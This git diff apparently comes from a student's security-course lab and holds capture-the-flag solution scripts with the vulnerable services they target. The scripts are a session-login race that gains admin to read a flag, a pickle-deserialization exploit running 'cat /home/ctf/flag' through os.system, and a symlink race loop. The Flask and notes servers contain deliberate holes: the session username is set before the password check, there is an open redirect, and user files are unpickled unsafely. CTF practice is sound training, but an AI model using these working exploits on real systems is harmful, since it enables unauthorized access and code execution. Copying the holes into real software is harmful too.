diff --git a/pa/lab3/chall_jackpot.py b/pa/lab3/chall_jackpot.py new file mode 100644 index 0000000..491e382 --- /dev/null +++ b/pa/lab3/chall_jackpot.py @@ -0,0 +1,24 @@ +from grequests import Session +from sys import argv +from os import fork + +BASE = "http://mustard.stt.rnl.tecnico.ulisboa.pt:25652" + +sesh = Session() +sesh.get(BASE+"/login") + +pid = fork() + +if pid == 0: + sesh.post(BASE+"/login", data={"username": "didas", "password": "didas"}) + while True: + resp = sesh.get(BASE+"/jackpot") + if b"SSof{" in resp.content: + print(resp.content) + exit(0) +else: + i = 0 + while True: + sesh.post(BASE+"/login", data={"username": "admin", "password": "Perry the playpus"}) + print(i) + i += 1 diff --git a/pa/lab3/chall_pickles.py b/pa/lab3/chall_pickles.py index 1ec45b6..c3cc1f1 100644 --- a/pa/lab3/chall_pickles.py +++ b/pa/lab3/chall_pickles.py @@ -1,9 +1,37 @@ from pwn import * +from os import fork, kill HOST = "mustard.stt.rnl.tecnico.ulisboa.pt" PORT = 25653 -conn = remote(HOST, PORT) -line = conn.interactive() +PAYLOAD = "cat /home/ctf/flag" -SSof_148:BHdrm8TgNq +pid = fork() + +if pid != 0: + while True: + conn = remote(HOST, PORT) + conn.sendlineafter(b":", b"didas") + conn.sendlineafter(b">>>", b"1") + conn.sendlineafter(b">>>", b"1") + conn.sendlineafter(b":", b"bomb") + conn.recvuntil(b":") + conn.sendline(b"cos") + conn.sendline(b"system") + conn.sendline(("(S'"+PAYLOAD+"'").encode('utf-8')) + conn.sendline(b"tR.") + conn.sendline(b"\n\n\n") + conn.close() + +else: + while True: + conn = remote(HOST, PORT) + conn.sendlineafter(b":", b"didas") + conn.sendlineafter(b">>>", b"0") + conn.sendlineafter(b">>>", b"0") + conn.sendlineafter(b":", b"bomb") + res = conn.recvline().decode('utf-8') + if "[ERROR]" not in res: + print(res) + kill(pid, 9) + break diff --git a/pa/lab3/server.py b/pa/lab3/server.py new file mode 100644 index 0000000..a374e25 --- /dev/null +++ b/pa/lab3/server.py @@ -0,0 +1,212 @@ +from flask import Flask, request, redirect, url_for, make_response, render_template +from flask_sqlalchemy import SQLAlchemy +from functools import wraps +from os.path import isfile +from os import environ, urandom +from sys import argv +import hashlib + +# Setup app +app = Flask(__name__) +COOKIE_TOKEN = "JTOKEN" + +# Setup db +db_path = "/tmp/flask_server.db" +app.config["SQLALCHEMY_DATABASE_URI"] = 'sqlite:///%s' % (db_path) +app.config["SQLALCHEMY_TRACK_MODIFICATIONS"] = False +db = SQLAlchemy(app) + +# Read the flag +FLAG = environ['flag'] + + +def error(msg): + return render_template('error_response.html', msg=msg) + + +# ================ +# === SESSIONS === +# ================ +class Session(db.Model): + """ + Associates a session token with its respective user + """ + id = db.Column(db.Integer, primary_key=True) + # @FIXME: Should be a Foreign Key, but oh well + jtoken = db.Column(db.Text(), unique=True) + username = db.Column(db.Text()) + + def __init__(self, username=None): + self.jtoken = urandom(64).hex() + self.username = username + + def __repr__(self): + return '' % (self.jtoken) + + +def get_current_session(jtoken=None): + if not jtoken: + jtoken = request.cookies.get(COOKIE_TOKEN) + if not jtoken: + print("[WARNING] This should never happen") + return None + + return Session.query.filter_by(jtoken=jtoken).first() + + +@app.context_processor +def templates_utility(): + return dict(get_current_session=get_current_session) + + +# Runs before every request +@app.before_request +def setup_session(): + def add_session_and_redirect(): + new_session = Session() + db.session.add(new_session) + db.session.commit() + + response = make_response(redirect(request.path)) + response.set_cookie(COOKIE_TOKEN, new_session.jtoken) + return response + + if COOKIE_TOKEN not in request.cookies: + return add_session_and_redirect() + + current_session = get_current_session() + if current_session is None: + return add_session_and_redirect() + + +def login_required(func): + @wraps(func) + def decorated_function(*args, **kwargs): + current_session = get_current_session() + if not current_session or current_session.username is None: + return redirect(url_for('login')) + else: + return func(*args, **kwargs) + return decorated_function + + +# ============= +# === Users === +# ============= +class User(db.Model): + id = db.Column(db.Integer, primary_key=True) + username = db.Column(db.Text(), unique=True) + password = db.Column(db.Text()) + + def __init__(self, username, password): + self.username = username + self.password = self.hash_pwd(password) + + def __repr__(self): + return '' % (self.username) + + @staticmethod + def hash_pwd(pwd): + return hashlib.sha512(pwd.encode()).hexdigest() + + +# ============= +# === VIEWS === +# ============= +@app.route('/') +def home(): + return render_template('home.html') + + +@app.route('/jackpot', methods=['GET']) +@login_required +def jackpot(): + current_session = get_current_session() + + if current_session.username == 'admin': + msg = FLAG + else: + msg = "No luck... Maybe next time!" + + return render_template('jackpot.html', msg=msg) + + +@app.route('/register', methods=['GET', 'POST']) +def register(): + if request.method == 'GET': + return render_template('register.html') + + username = request.form['username'] + password = request.form['password'] + if not username or not password: + return error("You need to provide the 'username' and 'password' to register.") + + user = User.query.filter_by(username=username).first() + if user or 'admin' in username: + return error("User '%s' already exists." % user.username) + + user = User(username, password) + db.session.add(user) + db.session.commit() + + return redirect(url_for('login')) + + +@app.route('/login', methods=['GET', 'POST']) +def login(): + if request.method == 'GET': + return render_template('login.html') + + username = request.form['username'] + password = request.form['password'] + if not username or not password: + return error("You need to provide a 'username' and 'password' to login.") + + # Setup the session with the current user + current_session = get_current_session() + current_session.username = username + db.session.commit() + + registered_user = User.query.filter_by( + username=username, password=User.hash_pwd(password)).first() + + if not registered_user: + # flash('Username or Password are invalid', 'error') + # Login failed + current_session.username = None + db.session.commit() + return redirect(url_for('login')) + + # @FIXME: open redirect + return redirect(request.args.get('next') or url_for('home')) + + +@app.route('/logout') +def logout(): + current_session = get_current_session() + + # Remove the user from the session + current_session.username = None + db.session.commit() + + return redirect(url_for('login')) + + +# ======================== +# ======================== +# ======================== +def main(host): + if not isfile(db_path): + db.create_all() + + app.config["DEBUG"] = (host == "127.0.0.1") + app.run(threaded=True, host=host, port=6660) + + +if __name__ == '__main__': + if len(argv) >= 2: + host = argv[1] + else: + host = "127.0.0.1" + + main(host) diff --git a/pa/lab3/server3.py b/pa/lab3/server3.py new file mode 100644 index 0000000..b8827ac --- /dev/null +++ b/pa/lab3/server3.py @@ -0,0 +1,121 @@ +#!/usr/bin/env python +import hashlib +import os +import shutil +import pickle + + +# =================================================== +class Note(object): + def __init__(self, name, content): + self.name = name + self.content = content + + def __str__(self): + return "Note '%s': %s" % (self.name, self.content) + +def sha256(s): + return hashlib.sha256(s.encode('utf-8')).hexdigest() + +CLASSY_MODE = 'CLASSY' +FREE_MODE = 'FREE' +def check_mode(mode): + try: + with open(directory + '/mode', 'r') as f: + return f.read() == mode + except: + return False + +def set_mode(mode): + with open(directory + '/mode', 'w') as f: + f.write(mode) + +def reset(mode): + shutil.rmtree(directory) + os.makedirs(directory) + set_mode(mode) +# =================================================== + + +# Print banner +notes_storage = " _______ ________ ______________________ _________ ____________________________ __________ _____ ________ ___________\n \ \ \_____ \ \__ ___/\_ _____/ / _____/ / _____/\__ ___/\_____ \ \______ \ / _ \ / _____/ \_ _____/\n / | \ / | \ | | | __)_ \_____ \ \_____ \ | | / | \ | _/ / /_\ \ / \ ___ | __)_ \n/ | \/ | \ | | | \ / \ / \ | | / | \ | | \/ | \\ \_\ \ | \\\n\____|__ /\_______ / |____| /_______ //_______ / ______/_______ / |____| \_______ / |____|_ /\____|__ / \______ //_______ /\n \/ \/ \/ \/ /_____/ \/ \/ \/ \/ \/ \/ " + +print ("1. Ever lost your class notes??") +print ("2. Ever wanted to store notes but had no place to and then forgot everything and failed the exam???") +print ("3. Are you tired of having to carry your notebooks????") +print ("") +print ("If you answered YES, this is the service for you!!") +print (notes_storage) +print ("\n") + + +# Read username and setup directory +username = input('Username: ') +directory = "/tmp/notes/%s" % sha256(username) +if not os.path.exists(directory): + os.makedirs(directory) + +# Read user choices +type_choice = "" +while type_choice not in ('0', '1'): + print("Which note type do you want:") + print("0: Classy note") + print("1: Free Note") + type_choice = input('>>> ') + +def read_or_write_option(): + action_choice = "" + while action_choice not in ('0', '1'): + print("0: Read note") + print("1: Write Note") + action_choice = input('>>> ') + + note_name = input('note_name: ') + note_path = "%s/%s" % (directory, sha256(note_name)) + if action_choice == '0': + if not os.path.isfile(note_path): + print("[ERROR] Can't read a file that does not exist") + exit(-1) + else: + with open(note_path, 'rb') as f: + note_content = f.read() + elif action_choice == '1': + note_content = "" + line = input("note_content: ") + while line: + note_content += line + '\n' + line = input() + + return action_choice, note_path, note_name, note_content + + +# Main functionality +if type_choice == '0': # Classy note + if not check_mode(CLASSY_MODE): + reset(CLASSY_MODE) + + action_choice, note_path, note_name, note_content = read_or_write_option() + if action_choice == '0': # read + note = pickle.loads(note_content) + print(note) + elif action_choice == '1': # write + note = Note(note_name, note_content) + with open(note_path, 'wb') as f: + pickle.dump(note, f) + else: + print("YT0!?") + +elif type_choice == '1': # Free note + if not check_mode(FREE_MODE): + reset(FREE_MODE) + + action_choice, note_path, _, note_content = read_or_write_option() + if action_choice == '0': # read + print(note_content) + elif action_choice == '1': # write + with open(note_path, 'wb') as f: + f.write(note_content.encode('utf8','surrogateescape')) + else: + print("HuM!?") +else: + print("WHaT!?") \ No newline at end of file diff --git a/pa/lab3/spam_flag.sh b/pa/lab3/spam_flag.sh new file mode 100644 index 0000000..f929e10 --- /dev/null +++ b/pa/lab3/spam_flag.sh @@ -0,0 +1,5 @@ +#!/bin/sh + +while [ 1 -eq 1 ]; do + /challenge/challenge < input +done diff --git a/pa/lab3/spam_ln.sh b/pa/lab3/spam_ln.sh new file mode 100644 index 0000000..d66d1b2 --- /dev/null +++ b/pa/lab3/spam_ln.sh @@ -0,0 +1,6 @@ +#!/bin/sh + +while [ 1 -eq 1 ]; do + ln -s ./input ./link + ln -s /challenge/flag ./link +done diff --git a/pa/writeups b/pa/writeups new file mode 160000 index 0000000..a67c391 --- /dev/null +++ b/pa/writeups @@ -0,0 +1 @@ +Subproject commit a67c3913db2df515699d31ebd013a395f5c24b2f